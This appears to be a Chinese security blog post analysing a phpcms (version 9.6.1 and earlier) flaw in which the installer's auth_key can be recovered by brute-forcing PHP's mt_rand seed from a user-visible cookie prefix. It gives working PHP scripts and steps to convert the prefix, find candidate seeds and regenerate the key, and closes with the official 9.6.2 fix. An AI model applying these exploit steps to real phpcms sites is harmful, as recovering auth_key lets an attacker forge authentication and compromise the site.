phpcms最新漏洞致auth_key泄漏(version<=9.6.1)

  • A+
所属分类:颓废's Blog
摘要

这个漏洞的成因其实就是php的随机数的安全性,在说这个漏洞之前我们需要了解下以下几个点。


0x00.前言

这个漏洞的成因其实就是php的随机数的安全性,在说这个漏洞之前我们需要了解下以下几个点。

  • 在php中生成随机数一般使用mt_rand()和rand()两个函数,在使用这两个函数前,需要使用对应的srand() 和 mt_srand()播种函数获得随机数种子。
  • 经过测试发现在使用同一种子产生随机数时,生成的随机数序列是一定的,也就是说在我们获取了这个种子时,就可以获取到产生的随机数序列。

  • 在 php > 4.2.0 的版本中,不再需要手动用srand() 或 mt_srand() 函数给随机数发生器播种了,因为现在是由系统自动完成的。也就是说随机数种子不用我们给了(当然我们也可以自己设定)。


0x01.漏洞分析

看了以上三点,让我们回到这个漏洞本身来。首先让我们来看看漏洞代码:

install.php

phpcms最新漏洞致auth_key泄漏(version<=9.6.1)

可以看到这里的$cookie_pre和$auth_key在安装时随机产生,跟进random函数

phpcms最新漏洞致auth_key泄漏(version<=9.6.1)

用到了mt_rand(),可以看到整个流程并没有手动使用mt_srand()播种,是采用了自动播种。

而自动播种种子是指的是在多次调用 mt_rand()函数产生随机数序列,只会播种一次种子,也就是说产生$cookie_pre和$auth_key的种子是一致的,当我们获取到了这个种子时,就可以爆破出auth_key了,那么怎么获取这个种子呢?也许说到这里你还不是太能理解,那么接着看接下来的漏洞利用吧。

0x02.漏洞利用

void mt_srand ( int $seed ) 

这是官方给出的mt_srand()函数的用法,$seed是一个int,最大值为2147483647.但我们同样可以是传入大于2147483647或者小于-2147483647的值,这时mt_srand会自动处理转化为int范围里的值,具体转化如下:

phpcms最新漏洞致auth_key泄漏(version<=9.6.1)

这就说明随机播种的种子是存在一个范围内,是允许我们进行爆破的,国外有人已经用c写了一个爆破种子程序,我们可以直接用:

http://www.openwall.com/php_mt_seed/

要想获取种子,我们得先有一个产生的随机数列,通过这个数列去反向爆破可能的种子,随机数列的长度越大,我们爆破获得的种子个数应该更小,更接近真正的seed。在这里这个随机数列就是cookie_pre。
想要获取cookie_pre很容易,前台注册用户(跟管理员用户一样),登录查看cookie即可:

phpcms最新漏洞致auth_key泄漏(version<=9.6.1)

cookie_pre='EbPGc'
直接使用脚本转化为生成的随机数序列:

<?php $str = "EbPGc"; $randStr = "abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ"; for($i=0;$i<strlen($str);$i++){    $pos = strpos($randStr,$str[$i]);    echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)."   ";    //整理成方便 php_mt_seed 测试的格式   //php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX[RANGE_MIN RANGE_MAX]] } echo "/n"; ?>

获得序列:

phpcms最新漏洞致auth_key泄漏(version<=9.6.1)

利用php_mt_seed去爆破出可能的种子:

phpcms最新漏洞致auth_key泄漏(version<=9.6.1)

获得了七个可能种子,在利用这七个种子分别去手工播种,获得auth_key的序列(这里从数组里取出是string,不用intval,会自动转成int):

<?php function random($length, $chars = '0123456789') {     $hash = '';     $max = strlen($chars) - 1;     for($i = 0; $i < $length; $i++) {         $hash .= $chars[mt_rand(0, $max)];     }     return $hash; } $a=array('659416197','1040348296','2206635608','2314602866','2614173087','3554883387','3564275591'); //print_r($a); for($i = 0;$i < count($a); $i++){     //$sead=intval($a[$i]);     mt_srand($a[$i]);     //var_dump(intval($a[$i]));     $cookie_pre = random(5, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');     $auth_key = random(20, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');     echo $a[$i]." ".$cookie_pre." ".$auth_key."/n"; } ?>

每个种子对应的cookie_pre和auth_key:

phpcms最新漏洞致auth_key泄漏(version<=9.6.1)

最后让我们来对比下本地配置文件里的auth_key:

phpcms最新漏洞致auth_key泄漏(version<=9.6.1)

可以看到和我们crack出来的第四个序列是一样的,拿到auth_key就可以干很多事咯。

0x03.后记

最后让我们再来看看最新版(9.6.2)的官方修复方式:

phpcms最新漏洞致auth_key泄漏(version<=9.6.1)

在每一次使用mt_rand生成序列时都手工使用mt_srand()播种一次,这样生成cookie_pre和auth_key的种子几乎不可能一样了,自然漏洞就不存在了。

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: